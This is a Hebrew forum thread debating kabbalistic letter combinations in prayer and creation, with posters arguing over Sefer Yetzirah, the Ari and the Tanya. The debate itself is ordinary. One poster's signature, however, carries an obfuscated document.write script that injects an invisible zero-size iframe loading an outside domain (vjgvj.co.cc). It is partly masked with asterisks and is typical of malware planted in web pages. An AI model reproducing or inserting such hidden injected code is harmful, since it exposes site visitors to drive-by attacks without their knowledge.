צירופים ותמורות אצל גדולי ישראל

צירופים ותמורות אצל גדולי ישראל

נראה לי כבר עברתי על זה 
ותודה 

מיכל

אנסה לבאר בקצרה לפי מה שידוע לי.

א. צירופים בזמן תפילה

המילה "תפילה" יכול לציין את הדו שיח של האדם, שלנו, עם ה'. תפילה יכולה לבטא רגשות, להודות, לשבח, לבקש ולהתחנן.

מאז ימי חז"ל יש לנו נוסחאות תפילה מוכנות שבהן אנו משתמשים לתפילות הרשמיות כמו שחרית, מנחה וערבית, תפילות שבת ומועדים ועוד.

אמנם לאחר שעברו "טיפול" בידי המקובלים מתברר שתפילות אלו משמשות כעת למשהו אחר. לפעמים בלא יודעין כפי שמייחסים המקובלים לכל מתפלל, ולפעמים ביודעין כפי שזה אצל הלומדים והיודעים, התפילות למעשה מזווגות זיווגים בעולמות עליונים. כלומר, יוצרות קשרים ומנתקות קשרים בתוך המערכת המורכבת של עולמות אלוהיים שבהם הספירות יוצרות קשרים באופנים שונים.

בשפה המקצועית השפעה של האדם על אותם עולמות נקראת "תיאורגיה". התפילה אם כן לפי גרסת המקובלים אינה דו שיח של אדם מול אלוקים אלא פעולה מורכבת של יצירת קשרים לפי כללים שנמסרו בידי מומחים לדבר, כגון האר"י.

אם פותחים סידור שהוכן למטרה זו, אפשר למצוא סימונים מתחת לשמות האלוהיים שמלמדים שאת הברכה הזו והכוונה הזו יש להועיד לצירוף של אותיות אלו ואלו. צירוף זה מצביע על בחינה מסויימת אלוהית או ספירה או צירוף של ספירות (לא למדתי כראוי את הנושא הזה אז אני כותב את התרשמותי).

לפעמים אפשר למצוא דיאגרמות עם קוים שמחברים בין הספירות המוצגות שם.

לדעתי זו עבודה זרה, וכמובן זה נושא לדיון. אבל לצערי יש יהודים רבים שנחשבים לטובים שעוסקים בזה בהתלהבות, ומסוגלים להוציא שעות על חיבורים תיאורגיים כאלו. ויש ספרים שאמורים לגלות סוגי זיווגים שיש לכוון להם בזמנים אלו ואחרים, החל מהאר"י ואילך.

אני משער שלא קשה למצוא דוגמאות. הסתכלי למשל ב"סידור הרש"ש" שקיים, אני מניח, בהיברובוקס. וראי איך מופיעה שם תפילת 18.

אני שואל: האם זוהי תפילה? האם זה דו שיח עם אלוקים, או שזה דומה יותר, למשל, להפעלת מרכזיה מהסוג הישן? שבה יש לחלץ את המחברים מתוך הנקבים ולהעבירם כל העת לנקבים חדשים לפי ההתקשרויות?

משל אחר, שמתאים למשחקי מחשב, הוא להשתמש בצירוף לחצנים ב"גיימפאד" כדי לבצע איזו, נניח, התקפה מורכבת של גיבור המשחק על איזה "אויב" וירטואלי מסוכן.

גם כאן הצירוף הנכון לדעת מחבר הקונטרסים של הצירופים יכול להשיג הרבה. ושוב, איני מומחה ואני יכול רק לחזור על המילים שמשמשות את המחברים כדי לתאר את התוצאות החיוביות לדעתם.

ב. צירופים בבריאה - גרסת ספר יצירה

אני חוזר על מה שכתבתי לעיל.

אחד הדברים שמעסיקים בני אדם במשך הדורות הוא הרצון להבין ממה העולם עשוי ואיך הוא מתנהל.

למשל: ממה מורכב השולחן?

ניתנו לשאלה זו כמה תשובות שונות מאד.

1. לפי אריסטו, השולחן הוא חומר ראשוני (היולי) שקיבל כמה צורות זו אחר זו. צורות של ארבעת היסודות הראשונים (אדמה, מים, אויר=רוח, אש) במינונים שיצרו יחד צורה של עץ, ואחר כך צורה של שולחן (אפלטון מורו היה אומר: גילום של אידיאת השולחן) שהוכן בידי הנגר האומן.

2. לפי הפיזיקה והכימיה המודרנית, השולחן הוא אוסף אטומים שיצרו ביניהם חיבורים למולקולות. בין האטומים של השולחן ניתן למצוא פחמן, חמצן, מימן ואולי עוד. הצירופים יכולים להיות פשוטים (H2O = מים, כי יש מולקולות של מים בתוך העץ) ומורכבים. איני יודע מה הדיאגרמה שמציגה את הייצוג של מולקולה של עץ, אבל אני יודע שהיא מורכבת למדי.

עם זאת, ההנחה היא שניתן לייצג כל אטום ואטום לסוגיו על ידי אות או צירוף של שתים או שלוש אותיות. ושוב להציג את המבנה של מולקולה בסיסית של החומר על ידי שירטוט שבו מופיעים האטומים עם קוים ביניהם שמייצגים קשרים.

יותר מכך ניתן למצוא בכל ספר מבוא לכימיה.

הייצוג הזה נחשב לתשובה נכונה לשאלה: ממה מורכב העץ?

השאלה ממה מורכבים האטומים וממה מורכבים החלקיקים שמרכיבים אטומים תיקח אותנו למקומות אחרים ומסובכים יותר. אני מזכיר אותה כדי להראות שגם תשובה חלקית היא תשובה מדעית שנחשבת לטובה).

3. לפי ספר יצירה, התשובה לשאלה ממה עשוי שולחן היא כנראה שהשולחן עשוי מהאותיות ש', ל', ח' ן.

את יכולה לראות שיש דמיון בין תשובה 2 לתשובה 3. לפי שתי התשובות יש סמלים שמצביעים על ממשות ואפשר לשרטט דיאגרמה שמבטאת את הצירופים היוצרים את האובייקט המורכב על ידי קוים=קשרים.

ההבדל ביניהן, שבגללו תשובה 2 היא מדעית ואילו תשובה 3 היא שקרית או חסרת משמעות היא שתשובה 2 נהנית מקורספונדנציה (=התאמה) למציאות הפיזיקלית. אנו מאמינים או יודעים שיש אטומים של חמצן, מימן, פחמן, ולמרות שהאותיות שמסמנות אותם הן שרירותיות (יכלו להיות אחרות) עדיין המבנה המשורטט, שקיים בתודעתנו, מקביל למציאות כפי שהיא באמת.

לעומת זאת, האותיות שספר יצירה עוסק בהן אמורות לתאר רכיבי מציאות אבל רכיבי מציאות אלו, עד כמה שידוע לי, אינם קיימים באמת. לכן התשובה שלו שקרית (=לא נכונה. המונח "שקרי" הוא טכני. הוא אינו מבטא ערך של רצון לשקר ולהרע אלא עובדה של אי התאמה למציאות, טעות).

כיון שקשה מאד לדמיין מציאות כלשהי שבה אותיות יכולות להיות בעלות ממשות פיזיקלית, כמו אטומים, לכן יש מקום לומר שהתיאוריה הזו היא חסרת משמעות. (כמו המשפט "ואז פיזרון היה חילג" או בדומה לזה משירי הנונסנס. משפטים כאלו בנויים לפי מבנים דקדוקיים אבל הם אינם נשאי משמעות).

ושוב, ההבדל בין האותיות המסמנות אטומים לבין האותיות שיוצרות מציאות של ספר יצירה הוא בכך שהאותיות בכימיה הן רק סימן, ואפשר להחליפו באחר. ואילו האותיות של ספר יצירה הן עצמן בעלות ממשות.


הבעיה היא שאותיות אינן חומר, אז איך אותיות מרכיבות שולחן? איך יש ביטוי פיזיקלי לאותיות שהן הגאים שאנו מוציאים מפה או הצלילים שאליהם אנו מכוונים דרך האותיות שבמחשבתנו?

זו שאלה קשה מאד ואין לי תשובה מעבר לכך שהמחבר של ספר יצירה האמין שאותיות באיזה אופן הן גם בעלות ממשות פיזיקלית או שהן יוצרות ממשות כזו.

ג. האותיות של הקבלה המאוחרת, מספר הבהיר ועד התניא

כאשר מחבר ספר הבהיר נטל את התיאוריות (גם תיאוריה שקרית או חסרת משמעות היא עדיין תיאוריה), הוא עשה בה שימוש מקורי ומעניין. במקום לטעון שהאותיות מצביעות על רכיבי מציאות בדומה לאטומים, כלומר בעולם שבו אנו חיים, הוא טען שאותיות מצביעות על עולמות עליונים, אלוהיים. ועל הרכיבים שלהן, כמו ספירות.

הרעיון זה פותח עוד ועוד. עד הזוהר, עד האר"י, ועד אחרוני המקובלים.

אחת ההנחות של הגישה הזו היא שהאלוקים שהיהודים האמינו בו עד הופעת ספר "הבהיר" (או קצת קודם, לפי סדרת ההיסטוריה של הקבלה שמחבר יוסף דן) היה אחד ויחיד. היהדות היתה מונותיאיסטית גם במובן הפילוסופי. (יש עוררין אבל לא אתייחס לנושא זה כאן). האלוהים של המקובלים מכאן ואילך כבר לא היה רק אל מונותואיסטי. הוא הפך להיות עולם שלם. שבו יש רכיבים, דמויות, וקשרים.

הרכיבים משתלשלים זה מזה (כלומר אחד מוליד את השני) וגם מתחברים זה לזה כדי להוליד או כדי ליצור השפעות הדדיות או כלפי מטה או כלפי מעלה במבנה המורכב שיש כאן לפי אמונתם.

וכל זה, עד כמה שזה מוזר, אלוהות.

(יש כמובן גישות שונות, כולל נסיון להכחיש את האלוהיות של העולמות האלו וצירופיהם והטענה שהאלוקים עצמו נעלה מכל זה, אבל יחד עם זה יש ביטויים שמייחסים אלוהיות גם לעולמות ורכיביהם).

בתוך התיאוריות האלו, האותיות מצביעות על רכיבים של אלוהים.

יש לשים לב שיש הבדל רב בין הקביעה ש"מצירופי אותיות נברא העולם" של ספר יצירה לבין "מצירופי אותיות נברא העולם" של האר"י או התניא.

לפי ספר יצירה - אלוקים יכול להחשב לאלוקים המונותיאיסטי. מה שהתחדש בספר הוא התיאוריה הכמו פיזיקלית שהרכיבים היסודיים של הבריאה אינם אטומים (או חלקיקים וחלקיקי חלקיקים שלהם) אלא אותיות. האות עצמה יכולה להיות ממשית, פיזיקלית במונחים שלנו.

לפי האר"י - האותיות וצירופיהן מצביעות על רכיבים אלוהיים בעולמות אלוהיים. וצירופי אותיות הם צירופי הרכיבים האלו. תפקידו של המקובל הוא לחולל את הצירופים הטובים והיעילים ולמנוע צירופים מזיקים ורעים.

(יתכן גם שהאותיות הן באופן לא מובן לי בעצמן אותם רכיבים אלוהיים, כפי שהתורה היא גם כן אלוהות ולכן גם כשאני לומד תורה אני מתקשר לעצמות אלוהית).


לפי התניא - האותיות הן אלוהיות כמו אצל האר"י, אבל יש חלקים במציאות שהם כבר אלוהיים. למשל, נשמת האדם היהודי.

נראה שכל המציאות כולה היא אלוהית, ולכן יש רואים בחב"ד שיטה פנתאיסטית (העולם=אלוהים) או פן-פנתאיסטית (העולם הוא אלוהים אבל אלוהים הוא יותר מהעולם). יש גם מקום להשוות בין חבד לבין הבודהיזם, מפני שהעולם הוא אמנם אלוהי אבל רוב חלקיו אינם מודעים לכך. תפקידו של האדם היהודי הוא לפתח את הידיעה הזו שהיא התיקון הדרוש למציאות.

כמובן, חלק מהידיעה היא לא רק של הכללים שכתבתי כאן אלא של הפרטים. איזה צירוף אותיות מסויים מרכיב את נשמת היהודי ואיזה, אולי, את נשמתי שלי או שלך וכיו"ב. (אני משער שזה כך. זה ודאי נכון לגבי קבלות אחרות, אולי למשל של הבן-איש-חי, ואיני יודע בוודאות אם זה כך ואם זה משמעותי באופן כזה בחב"ד. כלומר, האם יש מקום לשאול מה הם הצירופים שמרכיבים את נשמת האדמורים ואדמורי האדמורים או הצירופים שלי ושלך, כפי שהיה מקום לשאול זאת בקבלות אחרות).

כל זאת כמובן לפי מה שהבנתי, וזה בערבון מוגבל מאד. אין צריך לומר שהתיאוריות האלו (הן כן תיאוריות) הן שקריות או חסרות משמעות ולהאמין בהן או להעלות על הדעת שהן עלולות להיות אמת זו מינות. לדעת הרמב"ם ולדעתי.

___תוקנה טעות הקלדה______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

מיימוני , קשה לי להאמין שאת כל התשובה  הזאת חיברת בשבילי , זה ממש יפה מצידך, ומוערך מאד מצידי.
לגבי הפסקה הראשונה שכתבת בעניין צירופים בתפילה , זו אכן גם דעתי , שאין מתפקידינו לנסות ולכוון כל מילה ומילה לספירה המיוחדת שלה וגם למקובל גדול אני מאמינה שזה עבודה ויתכנו טעיות בזה , ובנוסף לא נדרשנו להתפלל בצורה כזו , התפילה ניתנה לבנ"א ולא למלאכים. יש עניין להתבונן בתפילה אך להשאיר את המעלה הגדולה של תום ותמימות מבלי כוונות מיותרות (דעתי) וכו'.

לגבי צירופים ביצירה בבריאת העולם , כיונת לשאלתי ויש המון להרחיב בנושא , לפחות אני יודעת (פחות מיותר) לקראת מה אני הולכת עכשיו ואילו שאלות אני אמורה לשאול להמשך התהליך..

לגבי מה שכתבת לעיל , "נראה שיש הרואים בעולם שהוא אלוקים" זה ברור שכך .

העולם הוא אלוקות והשולחן כולו הוא אלוקות , שיבוא משיח אז גם העיניים הבשריות שלנו יראו זאת. 
והיום יותר קל להבין זאת מפעם , כמו שהמחשב לדוג' שאני מקלידה בו כעת הוא לא צירוף של מקלדת ומסך הוא כל הנקודות הפנימיות שבו  שיוצרות מעגלים חשמליים וע"י לחיצה אחת שלנו זה גורם לכמה תהליכים לקרוא ובצורה מהירה , אפילו שאנו לא רואים זאת , זה לא אומר שזה לא קיים.

(מובא סיפור חסידי, בזמן "גזרת השקולע" בביה"ס ברוסיה , המורה - אנטישמי מאד , אמר לילדים בכיתה , בשביל "לרדת" על היהודים שבכיתה , תדעו לכם ילדים מה שאתם רואים בעולם זה קיים ומה שלא , פשוט איננו, אתם רואים את אלוקים?! אז הוא פשוט איננו..
קם אחד מהתל' שהיה ממשפ' חסידית ואמר : מישהו פה רואה את השכל של המורה? אז הוא פשוט...)

כשצורף בונה ומרכיב משהו , בגמר מלאכתו הוא עוזב אותו והכלי עומד מאליו. אך כשהקב"ה עושה משהו , בשביל להחריב ולפרק הוא צריך לרגע אחד "לעזוב את ידיו" ממנו.. שכן כל רגע ורגע הוא מחיה ובורא  את העולם

ולא הגעתי על לחשוב לצירופי נשמות , זה משהו מידיי עמוק ולא חושבת שיש להתעמק בו , לאן זה יוביל? אם יהיה תשובה מספקת אגש גם לזה.

שוב תודה



 
 

מיימוני-
 לומר על אנשים גדולים כגון האריז"ל ובעל התניא ועוד שדבריהם שיקריים קרובים למינות וכו' זה יותר מצורם.
אז זה נכון שאתה רואה את עצמך כשואף אל האמת והאוביקטיביות- "חוקר", אבל גם לחוקר יש כללי נימוס שצריך לשמור עליהם.
בכלל חוקר אינו אומר קבלו את דברי אלא מניח את הידוע לו לכאן ולכאן ונותן לאחרים להחליט.
חוקר טוב הוא אחד שמברר את הנושא כ"כ הרבה עד שהאמת ניכרת מעצמה, הוא לא צריך להגיד שדעה מסוימת שיקרית וכו' זה פשוט אמור להיות ניכר.- אלא שאתה כנ"ל, רחוק מכך.

וכעת לעצם הנושא כשהתורה מספרת שויאמר אלוקים יהי אור וכו' היא משקרת כשחז"ל אומרים שהקב"ה ברא את העןלם בעשרה מאמרת הם משקרים?!
כשהגמרא אומרת "אמר רב יהודה אמר רב: יודע היה בצלאל לצרף אותיות שנבראו בהן שמים וארץ היא משקרת?!

יש לך שאלה על מהות הבורא כיצד הוא מדבר הרי אין לו גוף ,אתה יכול לשאול אבל לתרץ את עצמך שמדובר בזיוף של המקובלים האחרונים בעוד שכל חז"ל מלאים מזה, בא נהיה ראליים...

ושוב, האם למדת פעם תניא? כבר הודת מעל בימה זו (וגם בפני בעבר) שבקושי, אתה אינך מבין בנושא ויותר מכך וכנ"ל באריכות אינך רוצה להבין.
נראה לי שיש לך אפי' פחד טראומתי מקבלה , אתה לא מסוגל לחשוב על משהוא שיש בו מעבר לאלוקים הפשוט והילדותי שאתה כה אוהב- האלוקים של הרמב"ם,אבל הרמבם שלך. וכמו שאומרים בישיבת ר"ג על הרצי"ה המשיך את אביו בדרכו שלו... 

 ונחזור לנושא.
ברור שכל המקובלים שאתה כ"כ אוהב לא התכוונו שה' (אותו אחד מאצילות וא"ק ועולמות הא"ס...) דיבר הברות בעלות קול בפה גשמי ושאם ניהיה טובים אולי נוכל לשמוע אותם או את גרגמל.

מדובר כרגיל במשל - אלגוריה בשפתך, הווה אומר ה' הסתום והנעלם מכל רעיון,יורד ממרומי האולימפוס המופשט והא"ס ומגלה ומפריש משהוא מחוץ אליו- המשהוא הזה זה העולם החומרי שלנו ואם תרצה גם כל העולמות העליונים.

סכה"כ מדובר בדרכה של תורה לדבר כלשון בני אדם ולהסביר גם לרפי שכל בשפה הנאורה שבה הם יכולים להבין.

לכן במקום לרשום מלות קוד כמו הא"ס צמצם את עצמו וגילה לנו רק מה שרצה לגלות, התורה השתמשה בשפה המדוברת ותימללה את הכתובים בנוסח דומה לה' דיבר ה' אמר, עשרה מאמרות וכו'.

בעצם כוונתה הפשוטה לומר שה' גילה את כחו בצורה מוגבלת בדיוק כמו שאדם שמדבר עם חברו אינו מגלה את כל מחשבותיו ומצפוני לבו לפניו, בשביל זה יש פסיכולוג.

נמשיך- כך גם הצירוף והתמורות וכו' אינם באים לומר שרז הבריאה והכח הטמון בה נמצא באותיות,ודאי שלא.
האותיות הם משל לדרכים שה' מכסה מהנברא את כוחו עד שהנברא מקבל את צורתו הפרטית.

וכמו בכל שפה, יש הבדל בין משמעותה הכללי של מילה מסוימת לבין כאשר היא מנושאת מענין והקשר מסוים.
וכמו לדוגמא המילה אבא במשמעותה הכללי שהיא כוללת מליארדי אנשים וכו' לבין אבא של פלוני שערכה הולך ומתמעט עד כדי יצור אחד בלבד.

כך גם בפשטות ענין שורשי המילים סידורם תמורתיהם וצירופם הכל הולך למקום אחד להראות שהכל נובע מן המקור הכללי שהוא דבר ה' - כלומר כוחו המתגלה אלא שהולכים הדברים ונארגים בכמה מיני הסתרות שונות עד שנראים למהות אחרת.
 
בתקווה שתרצה להבין דורש.

הצירוף הזה נעלה ביותר.

יקוקו קוקו ריקו ,קוקוקוקוקויקוקוקווק קוקוקו ריקו.


עלה על הר גבוה ואמור את זה בקול גדול.

:)

תוקן על ידי הוא_אה ב- 09/06/2013 08:09:53

* xcodebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" height="344" width="425" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" > <*

מה שמצחיק פה שאנשים שמוגדרים בעצמם בהלכה ככופרים שאין להם חלק בתורה וכו' מטיפים לנו שהדמויות המקודשות ביותר באומה כגון האריז"ל וכו' הם מינים שרק משחקים באמונתם התמימה של אנשי נאיבים ומוכרים להם דברי הבל.

למה אתם מלינים על האריז"ל לכו ישר למשה רבינו וזהו.

תודו על האמת אתם בסכה"כ אתאיסטים ממורמרים שמתחזים למונותאיסטים.
השגתכם על קדושי האומה אינה אפי' מקוצר הדעת אלא סתם מתוך רצון להכעיס כדי לקבל קצת צומי .